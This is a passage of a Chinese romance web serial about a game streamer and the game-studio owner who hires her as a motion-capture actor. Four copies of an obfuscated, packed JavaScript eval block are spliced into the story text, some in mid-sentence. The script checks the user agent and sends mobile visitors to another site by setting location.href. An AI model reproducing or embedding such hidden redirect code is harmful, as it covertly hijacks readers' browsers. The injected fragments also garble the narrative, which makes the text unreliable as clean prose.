因为工作原因，唐泽枫在她直播间停留的时间不长，每天点进直播间看到的都是右下角的皮套人Tsuki。 唯一一次见到真人出镜还是在上月底。 Tsuki直播通知群的消息会有延迟，混在工作消息里很容易看不见。之前曾经有过一次错过直播通知的前科，因此唐泽枫并没有关闭元气APP的消息推送。 也就是在那天，他收到了好几条来自陌生网友的@，出于好奇点了进去，正好看到Tsuki刚结束的真人出镜直播回放。 虽说是猫代播，但镜头里某些角度能够看到她的下半身和手。 唐泽枫只是看了前面几分钟，视频便突然消失不见，显示被博主删除。 而他看的恰好是Tsuki回答弹幕问题的那一段。 “手上戴的什么。是水晶，我朋友送我的生日礼物，是她亲自做的，特别好看。” 她将手腕上戴着的手串凑近镜头，让大家看得更加清楚。 也正是因为这一眼，让唐泽枫记住了她的标志性代表物。 探月园的第一面，他便注意到了那条与众不同的手串，加之声音和平时直播里听起来的太相似，很容易便做下判断。 听到唐泽枫的这句话，南汐仰头看他，坚定地说：“当然没有，Tsuki没出现之前我都不露脸的。” 说完，她眨了眨眼，弯翘的睫毛忽闪，声音轻了几分，“只有你见过。” 说这话时，南汐的神情里显露出自己都没意识到的偏心意味。 说者无意听者有心，唐泽枫笑着接话：“那我很荣幸。” 她没出声，不过表情会说话。 弯起的唇角、含笑的眉眼没逃过唐泽枫的眼睛。 与直播游戏时的专注认真不同，现实里的Tsuki行为举止更具有小女孩心气，害羞脸红时的眼神躲闪让直播时偶尔突兀飙升的心跳变得具象化。 唐泽枫第一次见到本人比虚拟角色还要更可爱的生动例子。 他莫名生出别样的心思。 答应给她做的新衣服已经在制作过程中，以他的速度，这几天就能做好。 但他中途决定再添加点趣味性。 语音播报声响起，15层到了。 南汐跟着唐泽枫走出电梯，没走几步便透过玻璃落地窗看见了宽敞的办公室，陈列着十几张办公桌，有几张空着无人。 南汐好奇地往里张望，宽大的显示屏上是她看不懂的软件程序，大家都埋头于工作，没有人注意到外侧走廊经过的他们。 跟随在唐泽枫身后，南汐来到了尽头处他的个人办公室。 “助理开会去了。”唐泽枫站在开放式咖啡台前，问她，“想喝什么？” 南汐看到他拿出咖啡豆，连忙摆手：“哥，不用了，白水就行。” 南汐的体质特殊，高中时喝过一次咖啡，仅仅半杯就让她一夜没有合眼，提神效果超乎想象。 在那之后她再也不敢喝咖啡，连饮料也不敢沾。 唐泽枫递给她一杯凉白开，接过来时，两人指尖短暂相触一秒，南汐像看见了逗猫棒的小猫一般，又移不开眼睛了。 反正他背朝着自己看不见，偷偷多瞄两眼应该不会被发现。 老板办公室很大，毕竟是头一回来，南汐有些拘谨，只敢站在门口观望，没再跟进去。 她见他放下门禁卡，从办公桌的抽屉里拿出一个黑色的小盒子，抬眼看过来时莞尔：“怎么不进来？” 南汐这才放轻脚步，做贼似地挪到了他身边。 她的手串被唐泽枫放在了这个首饰盒里，足以见得对方的重视。 “谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283826|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢哥。”南汐打开盒子，将手串戴回手腕上。 “不用。”唐泽枫意味不明地说，“下次注意别丢了。” 南汐点点头，东西已经拿回来了，她知道自己现在应该离开。 到底还是有些不情愿，杯子里的水只喝了一口，她捏着纸杯，正在头脑风暴要找什么借口多留一会儿。 对方先她一步开了口。 “南汐。” 他第一次喊她的名字。 南汐猛地抬头，表情还是呆呆的：“嗯？” “我想拜托你帮个忙。”唐泽枫温声说，“不知道你愿不愿意。” 大哥在她身上投资这么多，别说是一个，十个南汐也心甘情愿帮他。 “好啊。”她先答应下来再问，“什么忙？” 唐泽枫没有直入主题，而是先问：“除了直播，平时白天会不会很忙？” 南汐摇头：“不忙的。” 唐泽枫点了点头，才解释：“我们项目组的一位女性动捕演员临时出现问题来不了，目前也找不到合适的人救场，你有没有兴趣尝试一下？我会给你最高的薪酬。” 南汐玩过的游戏不少，对“动捕演员”这个职业有大致的了解。 大多数3A游戏中的角色动作模型便是通过动捕演员穿戴专业传感器设备，将肢体动作、表情甚至细微神态转化为数据建模而来。 这项工作对舞蹈、动作表演的要求很高，一般都是由专业演员担任。 南汐从小没接触过表演，唯一跟“表演”沾一点点边的还是高中毕业晚会上唱了一首小情歌，内心不是很有底气。 “可是我没有经验诶……”她有些为难。 南汐知道唐泽枫的工作室接触的都是大项目，自己一个毫无经验的小白如果把事情搞砸了，恐怕还得连累他。 唐泽枫似乎早已预料到她的担忧，说：“没关系，是一个戏份比较少的角色，没有什么动作要求，比较简单。” 他绕过办公桌朝她走来，“如果你愿意尝试，可以先看看剧本。” 听他这么说，南汐已经自信了不少，有能留下来的借口，她当然不会错过：“好啊好啊。” 唐泽枫状似随意：“不急着回去的话，中午可以一起吃饭。” 南汐刚扬起眉，忽然又想到什么，谨慎地小声问：“几个人一起吃饭啊？” 如果是跟刚刚电梯里撞见的那么多人一起，南汐觉得压力未免也太大了。 好在事情不是她想得那么吓人。 唐泽枫和她保持着一米的距离，声音里染上笑意：“你想几个人？” 他把选择权交给了她，南汐自然是想到什么说什么，只是期盼的神情里夹杂更多紧张：“可以只和你吗？” 好似听到了满意的答案，唐泽枫笑意渐浓：“好啊。” “就我们。” 15. 救星 他话音刚落，南汐还没从那句“就我们”中缓过来，唐泽枫的手机响了。 接起来后低声说：“我知道，马上过去。” 南汐很快意识到什么，见他挂了电话，她问：“我是不是耽误你工作了？” “不会。”唐泽枫说，“你就是我的工作内容。” 南汐露出不解的神情，唐泽枫进一步解释：“我们这里几乎都是男性员工，女性动捕演员很难找，你是我的救星。” 听到他的用词，南汐颇有些受宠若惊，这下不得不帮忙了。 “我先带你去动捕室看看，那边都是国人。”唐泽枫说，“开完会我再跟你说，可以吗？” 南汐乖乖地点头：“好。” 从唐泽枫的办公室出来，南汐还觉得像在做梦一样。 她原本以为今天不过是来拿回手串，谁知道顺便还能做个兼职。 只要能够胜任这个工作，那岂不是说明以后天天都能过来见他？ 恋爱脑又开始嗡嗡作响。 南汐得花点功夫才能让自己不露出窃喜的表情。 唐泽枫带她回到了5楼，南汐对于这里的一切都充满了好奇心，她跟在他身后，走进了动捕室。 这是一个面积很大的房间，四周密闭、挂满黑布，中央摆设着不少交互道具，有几个身穿黑色紧身服的人正站在一起和导演讨论。 为了不耽误进度，唐泽枫并没有走过去，将门口一个手里拿着表格的年轻男人叫了过来。 “Boss。”男人目光落在他身后的女生脸上。 “这是小杨。”唐泽枫转过身，朝南汐说，“你可以先跟着他熟悉一下。” 他交代了小杨几句，随后转身离开。 小杨戴着副圆形眼镜，笑起来时会露出两只小虎牙，他朝南汐笑着打招呼：“你好，你也是Boss的亲戚吗？” 南汐摇头：“不是，是朋友。” 他找了个凳子给南汐坐，笑着说：“不好意思啊，你看起来挺小的，我误会了。” 南汐精准地捕捉到了“也”这个字，好奇：“以前有他的亲戚来吗？” “有，不过是侄子。”小杨说。 坐下来后，恰巧导演和演员沟通完毕，场工和摄像头都就位，开始表演拍摄。 现场有麦克风记录演员声音，小杨压低声音和她解释：“今天早上是主要角色拍游戏内动作，对他们来说是比较轻松的，都是些很简单的动作。” 南汐第一次参观游戏幕后人员的工作内容，感到新鲜的同时对这个职业也产生了敬佩。 虽然同样是演员，但并不出现在台前，像她这样的玩家如果不是特意来到这里，也根本不了解他们的工作性质。 小杨详细地给她讲解了不少专业知识，南汐都一一记在心里。 见她听得这么认真，小杨好奇：“你是以后想从事相关职业吗？” 南汐觉得没必要瞒他，解释：“唐泽先生让我过来演一个女性角色。” 听到这里，小杨恍然大悟：“怪不得，那你来得太及时了，今天我们还在讨论这事，担心延缓进度。” 南汐正好跟他打听一下：“我没有经验，难不难呀？” 小杨摇头：“不难，你那个角色的戏份不多，而且你的形象太好了，导演肯定会很满意。” 南汐没懂：“什么形象？” “脸啊。”小杨打量她，“你比之前那个演员漂亮好多。” 南汐意外：“我的脸也会出现在游戏里吗？” “是的，我们这个项目是真人脸模。”小杨点头，“后期都会加工美化，虽然你看起来用不上。” 将自己的现实形象上传到网络形成虚拟数据，这对于南汐来说是更为新奇的体验。 她兴奋地问：“那以后玩游戏是不是可以看到我自己？” “当然了。”小杨笑着说，“你的角色还是可攻略的，你可以自己跟自己谈恋爱。” 南汐被勾起了极大的兴趣，恨不得当即参与到项目组里。 将近十二点时，南汐收到了唐泽枫发来的消息，会议已经结束。 唐泽枫：【来电梯这里】 南汐跟小杨告别：“谢谢你教我这么多，很高兴认识你！” “我也是。”小杨说，“预祝我们合作愉快！” 南汐小跑着来到电梯间，刚好碰上电梯门打开，里面只有唐泽枫一个人。 他脱了西服外套，干净修身的白衬衫穿在他身上，勾勒出充满力量感的肌肉线条。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293153|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不由得好奇：“只有你下来了吗？” “怕你久等。”唐泽枫伸手挡住电梯门，“老板早退不扣钱。” 南汐站定在他身边，学他的语气，期待：“老板，中午吃什么？” “你想吃什么。”唐泽枫晃了晃手里的车钥匙，“听你的。” 南汐好不容易把黏在他手上的视线撕下来，想了好几秒，说：“你吃日料吗？” “昨天不是吃了？”唐泽枫莞尔，“不用迁就我，我只能算半个日本人，平时更习惯吃中餐。” 南汐了然，难怪他的中文说得这么好，原来是混血。 没有了担忧，她说：“那我们去吃粤菜吧。” 这个点外面暑热难挡，上车后，南汐刚系好安全带，看到唐泽枫拿出手机，搜索餐厅地址。 南汐随意地看过去，一眼便注意到了对方的手机壁纸。 竟然还是上一次给他贴膜时看见的那张！ 南汐心里升起了很多疑问，觉得如果错过了这次机会，以后在公司见面就不好谈及了。 她组织了一下措辞，侧身问他：“哥，你的壁纸用多久了？” 实际上她更想问唐泽枫，为什么会用Tsuki做壁纸。 南汐的电脑、手机壁纸也是自己的皮套，她每次约稿都花了不少钱，出图也很满意，觉得不用是浪费了。 唐泽枫又是出于什么原因？ 南汐不敢深想。 闻言，唐泽枫朝她看了过来。 南汐下意识地想往后靠，可后面已经是座椅靠背，她躲无可躲。 “差不多半年。”唐泽枫意有所指，“你不是比我更清楚吗。” 的确是比他更清楚，这是南汐亲自发在平台上的图片。 南汐看到了他眼中蕴含的笑意，耳朵又开始毫无预兆地烧起来。 但她不想这时候打退堂鼓，鼓起勇气直视他的眼睛，接着问：“为什么用这张啊？” 唐泽枫原本是想跟她解释原委，可那抹可疑的红晕落入眼底，莫名便生出了逗弄小女孩的心思。 “喜欢就用了。”唐泽枫反倒问她，“你会介意吗？” 他直白的话直击南汐的心灵，心慌太甚，说话也语无伦次：“当然……我不、不介意！” 16. 保证 元气TV的游戏区曾经有过一个热门话题： 【你们玩家在什么时候最紧张？】 发布的短短几个小时内，一个三十秒的短视频登上了热度榜第一。 是粉丝剪辑的Tsuki游戏直播高能片段，标题为： 【你们观众在什么时候最紧张】 以高难度著称的动作游戏《只狼》中，Tsuki在一场BOSS初见战斗鏖战十分钟，道具全部用空，双方都只剩残血，一招定胜负。 弹尽粮绝的情况下，BOSS头上忽然冒出“危”字、打出玩家不能格挡只能躲避大招的那一瞬。 Tsuki漂亮的后撤步闪避反击拿下BOSS，弹幕密密麻麻地挡住了全屏幕。 直播间霎时狂欢不止，相比之下Tsuki右下角心率却始终非常平稳，仿佛置身事外。 视频的热度太高，吸引了不少路人，那时候很多人都怀疑她是不是请人代打，只有熟悉她的老观众清楚这才是Tsuki的实力。 Tsuki的粉丝之间一直流传着一句话：皮套越粉，心态越稳；声音虽甜，操作逆天。 南汐遇强则强、从不慌张的好心态也是众多观众喜闻乐道的优点。 而此刻的南汐十分懊悔。 她在直播间里建立起来的甜拽酷妹形象一直根深蒂固，没想到所有的本事都在唐泽枫面前失了灵。 南汐甚至开始怀疑，是不是因为从来没跟异性亲近过，所以导致自己对唐泽枫“过敏”了？ 南汐联想到了高中时同桌送她的一个变色烤鸭挂件，平时白白净净的，一接触到紫外线就浑身通红，像被烤熟了一样。 她单手托腮，摸到滚烫的侧脸，觉得自己在唐泽枫眼里恐怕也变成了这么一种形象。 爱脸红的小女孩！ 早知道今天就化个妆好了，粉底起码能盖住那抹引人遐想的红晕。 不至于让她无处遁形。 要去的粤菜馆并不远，唐泽枫主动挑起话题：“上午看得怎么样？” 聊到这个，南汐总算能正常接话：“我觉得很有意思！” 就算不给她开工资，当做一个免费的体验机会，南汐也是非常愿意来的。 “我们开会讨论了一下，他们都很满意你。”唐泽枫说。 嘴上是这么说，实际讨论的情况他却不打算告诉她。 归功于在探月园见过她一面，被说成醉翁之意不在酒，唐泽枫也并不反驳，反倒大度地夸他们中文进步不少。 缺人是真的缺，喊南汐帮忙却并非一时起意。 一来是填补演员空缺，避免项目延期；二来，如果南汐往后有做3D直播的想法，他也能顺手帮个忙。 当然，更加隐晦的想法也有，唐泽枫缄口不言。 南汐信心大增，期待地问：“那我什么时候可以开工？” “先不急，剧本还没给你看过。”唐泽枫看向她，说，“工作时间也需要商量一下，怕你晚上直播会很累。” 南汐倒是从不担心这个，在学校满课还坚持每天直播的情况下她都精力满满。 “我没关系的。”她说，“打游戏怎么会累呢。” 唐泽枫似笑非笑：“所以生病也不休息？” 南汐哑然，背着他偷偷直播这事终究还是心虚。 她小声向他保证：“以后听你的话。” 语气与神态都乖得要命，让人心底柔软成水。 唐泽枫明知这句话发自肺腑，为了多看几眼乖巧的模样，还是要故意问一句：“真的？” 南汐点头：“真的。” 他这才笑了。 抵达餐厅门口，南汐刚解开安全带，唐泽枫喊住了她：“等我一下。” 南汐见他先行下车，随后在后备箱里拿了什么，又绕到了自己这一侧。 他伸手替她打开车门，南汐眼前出现了一片阴影，是唐泽枫撑开了一把遮阳伞。 南汐来时的太阳还没有晌午这么毒辣，刚打开车门，蒸腾的热气密不透风地往身上涌。 她怔了两秒，不过是分神的刹那功夫，下车时没控制住速度，一头撞在了男人胸口。 “小心。” 唐泽枫伸手扶在了她的肩上，低头看见她身后的腰间绑带不知道什么时候松开了。 南汐原本只想靠近他一点，没想到用力过猛，额头直直地撞在他右肩。 鼻尖闻到了他身上浅淡的冷调香水味，回过神来时，才注意到自己在撞上来时，下意识地抬手抓住了对方胸口的衬衫。 熨烫平整的衬衫布料被她一下揉皱了。 南汐像被烫到了一般连忙松开手，脑子还没反应过来时，已经伸手在那块微皱的地方抚了几下。 原意是想抚平褶皱，见毫无用处，她才意识到不对。 “啊！不好意思！” 后知后觉自己在做什么，南汐恨不得把自己占人便宜的手剁了。 天气太热，南汐又熟了。 “没事。”见她惊慌失措的模样，唐泽枫忍着笑，“站好。” 她的小动作都透露着青涩纯真，心口的位置像被轻飘飘的羽毛拂过，有些痒。 南汐像输入了指令的机器人，挺直腰板站在伞下，跟在唐泽枫身侧一步步走到门口。 低着头还在想刚刚自己冒犯的举止，总觉得太轻薄。 她对他没什么想法也就算了，心里还能坦荡一些。 偏偏南汐馋他很久了，虽然着重挑在了手这个部位，但总归是臆想过的，画面是色色的，感觉是棒棒的，小脸是红红的。 以后不能这么冒冒失失，得成熟稳重。 南汐心里告诫自己。 唐泽枫没有选择堂食，而是挑了一个小包间，南汐当即松了口气，人多的地方出糗才社死。 包间里冷气很足，南汐总算是没那么燥热了。 正要坐下时，唐泽枫却叫住了她：“后面带子松了，帮你绑一下。” 南汐感觉到腰后的绑带被人轻轻地扯了一下，碍于视角，她自己看不到。 但能明显察觉到他的动作不太熟练，弄了快一分钟才绑好。 两人吃不了太多，南汐只点了几样招牌菜。 等上菜的期间，唐泽枫说：“我先把剧本发给你看看。” “好。”南汐点头。 可等了一会儿他也没发过来，南汐问：“怎么了？” 唐泽枫这才说：“发哪个号？南汐还是Tsuki？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298776|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 南汐刚要说“都可以”，看到他唇边的笑意，才意识到他在开玩笑。 自己不就是因为发错了号才掉马的吗？ 虽是调侃，南汐却认真思考过了，朝他说：“发给Tsuki。” 唐泽枫扬眉看向她。 南汐的想法其实很简单。 工作号加上他的好友两年了，在以日期查找聊天记录时，每一天都是有过互动的标志，对强迫症来说很友好。 类似其他平台天天聊天会有火花产生的养成情结。 虽然南汐知道这种话说给唐泽枫听，他估计会觉得是小朋友幼稚的执念。 然而唐泽枫的关注点却不在这里，他问：“我只能算网友？” 南汐睁大眼睛，脑子里拉起警报，恨不得把“你是我的神”这种话都说出去，让他知道他在自己心中分量有多重。 “怎么会。”南汐抉择之后还是把实话说出口，“是因为那个号聊天记录多一点啦。” 不知道他有没有领会自己的意思，只见他笑：“和南汐可以有更多。” 这一秒开始，南汐怀疑他之前谈及从未恋爱的真实性。 想到刚刚短暂的几个小时里他的行为，处处都体现着绅士与贴心，南汐从心底里好奇，难道有人天生就知道怎么照顾、取悦女生吗？ 为什么他的每句话都可以轻易地拨动她的心弦？ 还是说她滤镜太厚了，单纯是想多了而已？ 她退了一步，让唐泽枫将剧本发给了私人号。 剧本比较长，南汐大致地扫了几眼，台词倒是不多，动作偏向简单，的确是像她这样的新手也可以胜任。 “这周会集中拍几位主角的动作，导演那边比较忙，过几天应该有空先帮你做面捕。” 唐泽枫向她说明，“下周他们去录音，你就可以开工了。” 南汐点点头表示明白，问：“我要拍几天啊？” “顺利的话四五天。”唐泽枫说，“一万元一天。” 闻言，南汐愕然：“这也太多了！” “不算多。”唐泽枫说，“之前我承诺过你。” 即使不清楚动捕演员的市场价格，南汐也知道自己一个零经验的新人绝对拿不到这么高的薪资。 南汐心里不踏实，蹙起眉朝他说：“哥，你不用优待我。” “毕竟是我请你帮忙，诚意得够。”唐泽枫话锋一转，笑着说，“我给你送礼物也差不多，平台还要收一半的分成。” 话是这么说，但工资和礼物怎么能算一回事。 见她还在犹豫，唐泽枫调侃：“别的员工都跟我提涨薪，怎么你不一样，心疼老板了？” 虽然以前听说过“共情资本家没有好下场”之类的话，但唐泽枫对她实在是太好太慷慨。 最终还是不忍心，南汐与他商量：“那我工作那几天，你不可以给我送礼物。” 还没等他接话，南汐迅速补充，“付费留言也不可以！” 她语气坚决，唐泽枫自然答应下来。 只是有个疑问。 “万一你的观众问起来，我要怎么解释？又公放我的语音吗？” 唐泽枫笑意渐深，“他们会不会误会我们的关系？” 17. 慈父 南汐直播时会用到两台电脑，再加上一个副屏。 两台电脑分别用来直播推流和打游戏，而副屏则是用来看弹幕。 在游戏时由于注意力集中，为了扫一眼就能看清楚观众的留言和礼物，南汐将副屏上的字体调得很大，隔着好几米都能看清。 不在游戏时，除了弹幕刷得太快会有影响，大部分情况下每一条弹幕南汐都是看过的。 那些嗑她和大哥CP的自然也不例外。 以往每次唐泽枫来到直播间，观众几乎都是夸他大气，是什么时候风向开始变了呢？ 南汐回想了一下，大概是在探月园遇见唐泽枫，当天晚上在直播间分享遇见帅哥被他抓包开始。 她和唐泽枫的关系逐渐熟络，也给观众产生了一种暧昧不清的印象。 她虽然一直澄清自己没有恋爱，却从来没有澄清过和大哥的关系。 不否认就是默认，主播都纵容，观众自然也嗑得开心。 南汐实在是找不到什么借口否认，只能硬着头皮小声说：“他们已经开始误会了。” 唐泽枫笑意不减：“不用解释吗？” 南汐避开他的目光，试图说服他：“解释了用处也不大。” 南汐心里暗暗期盼他不要再问，她已经快要装不下去了。 好在服务员及时敲门进来上菜，打断了两人的对话，南汐不动声色地松了口气。 吃饭时没再聊工作，唐泽枫倒是问起了她的ID由来。 “Tsuki就是我的小名，我是中秋节出生的。”南汐向他解释，“那时候挺中二的，想特殊一点，就弄了日文。” 她说完，又好奇问：“哥，你真的姓唐泽吗？” 听到他的朋友喊他“枫”，南汐已经确信自己之前搞错了，但还是想得到他本人的回应。 “真的。”唐泽枫说，“大学毕业之后我才回中国，名字沿用下来没有改。” 南汐顺势问：“那之前我喊错，你怎么没提醒我？” 她似乎还对那天的直播事故耿耿于怀，问出这话时表情有些委屈。 被那双黑亮纯真的眼睛这么看着，任谁看了都会心软。 唐泽枫并不承认他是故意为之，轻笑：“是我错了，我应该早点告诉你。” 他略过中间过程，直接快进到道歉，让南汐哑口无言，想讨伐点什么都没有机会了。 套路很眼熟，一如上一回和他说他在直播间停留时间很短，唐泽枫也是没有做任何解释，直接归咎在自己身上。 明明他脾气很好，可南汐莫名觉得有些郁闷。 他还是把她当小孩哄呢。 见她眉头微微蹙起，垂着眼不看自己，唐泽枫低声问：“生气了？” “没有啦。”南汐还想着上次的事，小心翼翼地问，“你之前说跟我玩游戏，还算数吗？” 唐泽枫：“当然算数。” 南汐心想不怪他手段简单粗暴，自己也的确是小孩心性，就吃这一套。 “我都跟直播间观众说了。”南汐小声，“你可不能让我没面子。” 唐泽枫失笑：“我看起来这么没有信誉吗？” “不是。”南汐摇摇头，“我是怕你太忙了。” 虽然门口的保安都说他们到点下班，但在南汐的印象里，唐泽枫应该是个大忙人，回到家还要继续加班的拼命三郎。 “项目交付那段时间会很忙，平时还好。”唐泽枫说，“陪你玩游戏的时间还是有的。” 南汐自认为藏得很好的心事都会不自知地从眼睛里流露出来，光是看弯起的眉眼就知道她被哄得很开心。 午餐过后，唐泽枫起身问她：“公司那边没什么事了，我送你回家？” 快一点了，南汐担心耽误他午休时间，摇了摇手：“没事，我可以自己回家，你回去休息吧。” 唐泽枫却没同意：“外面很热，容易中暑。” 虽说这里离她家也就半小时路程，但唐泽枫来回一趟时间加倍，回去就得继续上班。 加上这顿饭也是他请客，南汐多少还是心里过意不去。 她跟在唐泽枫身后，刚要开口，唐泽枫想起什么，侧身：“伞没拿。” “哦！”南汐主动将放在门口置物架上的遮阳伞拿上。 从餐厅里出来，南汐撑开伞，想罩在唐泽枫头顶，奈何男人太高，她踮起脚举起手臂也不够，伞面差点压在他发型上。 唐泽枫被她滑稽的动作逗笑，低下头：“我来。” 南汐正要递给他，唐泽枫抬手握了上来。 折叠伞的把手就那么小，南汐甚至没机会松开，他宽大的手掌已经覆在了她的手背。 是她视为女娲毕设的完美艺术品，如今出现在她眼前不到半米的距离，紧贴着她的手。 对方掌心的热度贴着皮肤传递到她手上，比盛夏晌午的温度还要高，烫得南汐心尖颤了又颤。 浑身的血液失控地往脸上涌，短暂接触的这两秒钟，把南汐硬生生地控在了原地不得动弹。 直到唐泽枫从她手里接过了伞，偏头看见她呆呆的模样，绯红的烟霞爬满脸颊，甚至染上了耳根。 “很热吗？”他问。 南汐收回还僵在半空的手，低下头，默默地往他身后侧退了一小步，企图躲在这里不被他发现。 声音轻到快听不见：“有点。” 这下主板烧坏了，彻底把刚刚想的事情忘得一干二净。 小女孩说几句会脸红，碰一下更是羞赧到躲起来。 唐泽枫打心底觉得自己不是好人，越是给出惊喜的反馈，越会激发他内心深处的作祟欲与探索欲。 他故意在走到一半时停住脚步，左后侧的人果然闷头就撞了上来，又红着脸跟他道歉。 可爱到犯规了。 唐泽枫笑着朝她说“没事”，上车后便把伞交给了她。 “我用不上，以后出门记得带伞。” 南汐接了过来，平时出门妈妈都会提醒她带好伞，今天完全是要见他太激动而忘了。 她低着头机械式地整理伞面，伞都折好了才发现车子还没启动。 她疑惑地抬头看过去，却见唐泽枫单手靠在方向盘上，正姿态闲散地笑着看她。 对上视线后，他才提醒：“安全带。” ！ 南汐猛地转身拉上安全带，又听他问：“家在哪？” 她连忙拿起手机，把家里的地址发给了他。 半小时后，汽车抵达小区门口。 下车前，唐泽枫说：“确定好面捕日期后我来接你。” 南汐连忙摆手：“不用麻烦你啦，我可以自己去的。” 唐泽枫点了头：“好，到时候见。” 南汐推开车门，临走前又回过头，朝他挥手：“谢谢你请我吃饭，路上小心，拜拜。” 到家后，南汐当即给温琬发消息，问她有没有时间，迫不及待想跟她聊聊。 温琬很快回了消息：【有时间啊，怎么啦】 南汐打了一个语音过去，把今天发生的事情简单和她说了一遍。 听到一天一万的工资，温琬也给出了和她相同的反应：“一万？！妈呀，现在不露脸的演员也能赚这么多啊？” 南汐用手机搜了一下动捕演员的市场价格，朝她说：“我看五千都是经验比较丰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304392|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 富的了，只是他给的多。” 温琬倒吸一口气：“对哦，他平时在你直播间花的也不少，这个钱可能对他来说只是洒洒水。” 南汐的讲述详略得当，没漏过唐泽枫的每一句话，想听听温琬的想法，看看是不是自己滤镜太厚了。 重复唐泽枫对她说过的话有些羞耻，好在不是面对面，对着手机，南汐还是有勇气再复述一遍。 听完南汐的讲述，温琬先问了个最基本的问题：“你知道大哥多大了吗？” 南汐一愣，跟他认识这么久，还真不清楚。 “无界”的相关资料也查不到几位老板的详细身份，甚至连照片都没有。 “你感觉呢？”温琬说，“如果没谈过恋爱，应该挺年轻的吧。” 南汐想了想，说：“他的工作室创立8年了，应该是三十岁左右。” “啊？” 温琬沉默了片刻，忽然话锋一转：“宝宝，我觉得我好像懂了。” 南汐期待：“懂什么了？” “他的小孩估计都能打酱油了。”温琬断定。 听到这个结论，南汐更为困惑：“可是他手上没有戴戒指诶。” “有些人是结婚太久就觉得戴不戴无所谓了。”温琬说，“说没恋爱估计是想让你收礼物收得没负担吧。” 还没等南汐缓过来，温琬很快又扔出第二个炸弹：“而且他对你应该没什么想法，你们俩差太大了，公司老板和女大学生，怎么想都觉得更像是父女组合，结合他给你打钱那么爽快，活脱脱的慈父。” “……” “他说的那些话真的很像逗小孩。”温琬言辞恳切，“你不会当真了吧？” “………” 她不仅当真了，还脸红了。 南汐想到唐泽枫的言行举止，欲言又止。 可是又觉得自己还可以拯救一下。 “琬琬，我们还有一点点的肢体接触。”她说。 温琬却吓了一大跳：“他占你便宜了？” “不是不是！”南汐连忙解释，“是我撑伞不够高，他拿伞的时候碰到我的手了。” “嗨，我还以为有多严重，吓死我了。” 温琬霎时松了口气，“宝宝，你肯定是从来没跟男生接触过才容易反应过度，我就说应该趁年轻多玩玩男人的，你太纯情了，以后不得被男人狠狠拿捏。” 句句都一针见血。 南汐刚要说话，温琬已经猜到了她的下一句话：“我知道，你肯定要说玩男人不如玩游戏。” 南汐节节败退，只能求助：“那我该怎么办？我下周还要见他。” 还是接连见面好几天。 问到点子上了，温琬：“姐教你！” 她很快发过来一个链接：【海后修炼手册！轻轻松松搞定男人！】 南汐点进去一看，叹为观止。 【时冷时热，欲擒故纵，让他的心跌宕起伏】 【偶尔打压，搓搓锐气，强调你的真知灼见】 【偶尔画饼，偶尔务实，让他为你患得患失】 【立起标准，奖惩分明，制订方方面面规矩】 … 南汐看完之后，很真诚地问：“你确定这不是老板PUA员工手册吗？” 她只有温琬一个员工，学了用来对付她吗？ “说明本质是都是玩弄人心，压榨所有可利用价值。”温琬信誓旦旦，“你就学吧，学成归来，慈父也不是你的对手！” “……我爸都快五十了。”南汐觉得有必要为唐泽枫正名，“他真的没那么大，你见过就知道了。” 温琬只提取关键信息：“哪里大？” 18. 暗恋 南汐沉默了几秒钟，真诚发问：“我在说年龄，你在说什么？” 温琬坏笑一声：“一下顺嘴问出来了，不好意思。” 通话又陷入死寂，几秒后，南汐咳了一声，小声说：“没注意。” 温琬也做贼似地压低声音：“那你的注意力放哪儿了？” 南汐毫无感情：“手。” “别惦记你那鸭掌了！”温琬叹了口气，“宝贝，咱能不能务实点。” “我才不要被他误会成变态。”南汐还想着温琬扔出的两个重磅炸弹，有些哀伤，“算了，我会调理好的。” 挂电话前，温琬又说：“你下次拍张正脸照过来看看。” 南汐故意学她的措词：“慈父有什么好看的，叔叔不在家吗？” 温琬大笑起来：“好好好，我不说了，我道歉。” 结束通话后，南汐仰躺在沙发上思考人生。 淘气步伐轻盈地跳上沙发靠背，在她的侧脸蹭了蹭，试图引起主人的注意，然而南汐双目失神正在神游，没有回应。 